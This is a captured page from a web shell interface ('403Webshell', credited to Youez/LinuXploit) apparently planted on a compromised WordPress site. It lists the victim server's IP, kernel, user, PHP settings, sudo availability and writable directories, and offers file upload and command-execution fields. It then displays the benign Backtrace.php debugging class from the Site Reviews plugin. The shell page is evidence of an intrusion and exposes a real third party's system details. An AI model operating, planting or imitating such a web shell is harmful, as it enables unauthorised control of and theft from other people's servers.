403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/tour.mitrofanov.ru/public/wp-content/plugins/site-reviews/plugin/Modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/tour.mitrofanov.ru/public/wp-content/plugins/site-reviews/plugin/Modules/Backtrace.php
<?php

namespace GeminiLabs\SiteReviews\Modules;

use GeminiLabs\SiteReviews\Helper;
use GeminiLabs\SiteReviews\Helpers\Arr;

class Backtrace
{
    public function buildLine(array $backtrace): string
    {
        return sprintf('%s:%s', $this->getClassName($backtrace), $this->getLineNumber($backtrace));
    }

    public function line(int $limit = 10): string
    {
        return $this->buildLine(array_slice($this->trace($limit), 4));
    }

    /**
     * @param mixed            $data
     * @param \Throwable|mixed $data
     */
    public function lineFromData($data): string
    {
        $backtrace = ((interface_exists('Throwable') && $data instanceof \Throwable) || $data instanceof \Exception)
            ? $data->getTrace()
            : debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1);
        return $this->buildLine($backtrace);
    }

    public function normalizeLine(string $line): string
    {
        $search = array_unique([
            'GeminiLabs\\SiteReviews\\',
            glsr()->path('plugin/'),
            glsr()->path('plugin/', false),
            trailingslashit(glsr()->path()),
            trailingslashit(glsr()->path('', false)),
            WP_CONTENT_DIR,
            ABSPATH,
        ]);
        return str_replace('/', '\\', str_replace($search, '', $line));
    }

    public function trace(int $limit = 6): array
    {
        $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, $limit + 2);
        array_shift($trace); // remove the first entry
        if ('glsr_trace' === ($trace[0]['function'] ?? '')) {
            array_shift($trace); // remove the second entry
        } else {
            array_pop($trace); // remove the last entry
        }
        return $trace;
    }

    protected function getClassName(array $backtrace): string
    {
        $file = Arr::get($backtrace, '0.file');
        $class = Arr::get($backtrace, '1.class');
        $search = Arr::searchByKey('glsr_log', $backtrace, 'function');
        if (false !== $search) {
            $class = Arr::get($search, 'class', Arr::get($search, 'file'));
        } elseif (str_ends_with($file, 'helpers.php')) {
            $file = Arr::get($backtrace, '1.file');
            $class = Arr::get($backtrace, '2.class');
        } elseif (str_ends_with($file, 'BlackHole.php') && 'WP_Hook' !== Arr::get($backtrace, '2.class')) {
            $class = Arr::get($backtrace, '2.class');
        }
        return Helper::ifEmpty($class, $file);
    }

    protected function getLineNumber(array $backtrace): string
    {
        $search = Arr::searchByKey('glsr_log', $backtrace, 'function');
        if (false !== $search) {
            return Arr::get($search, 'line');
        }
        $file = Arr::get($backtrace, '0.file');
        $line = Arr::get($backtrace, '0.line');
        if (str_ends_with($file, 'helpers.php')) {
            return Arr::get($backtrace, '1.line');
        } elseif (str_ends_with($file, 'BlackHole.php') && 'WP_Hook' !== Arr::get($backtrace, '2.class')) {
            return Arr::get($backtrace, '1.line');
        }
        return $line;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit